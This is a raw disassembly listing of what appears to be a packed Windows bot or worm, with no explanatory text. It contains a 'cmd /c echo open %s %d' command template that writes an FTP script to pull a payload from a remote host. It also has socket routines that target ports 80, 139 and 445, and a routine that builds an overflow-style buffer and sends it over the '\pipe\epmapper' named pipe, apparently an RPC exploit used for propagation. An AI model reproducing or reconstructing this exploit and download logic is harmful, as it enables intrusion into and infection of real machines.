		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432198
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: .packed:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: .packed:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		call	dword_427204	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9D4	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: .packed:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: .packed:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: .packed:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: .packed:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: .packed:0040D69Aj
					; .packed:0040D70Dj
		push	ebx
		call	dword_4CBA6C	; closesocket
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: .packed:0040D657j
		push	3E8h
		call	dword_427080	; Sleep


loc_40D737:				; CODE XREF: .packed:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: .packed:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40D765:				; CODE XREF: .packed:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: .packed:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; .packed:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: .packed:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: .packed:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: .packed:00429008o
		test	byte_4DC018, 1
		jnz	short loc_40DB4C
		or	byte_4DC018, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: .packed:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_432940 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB88
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	dword_4270E8	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE6F4
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA74
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA74


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: .packed:0040DFC6p
					; .packed:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_432940 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB88
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_4270E8	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB90C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		call	dword_427080	; Sleep
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: .packed:0040DFF5p
					; .packed:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_43293C
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432938


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432470
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327D4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327E8
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432828
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: .packed:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: .packed:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_432424
		push	dword ptr [ebp-4]
		call	dword_4270F4	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
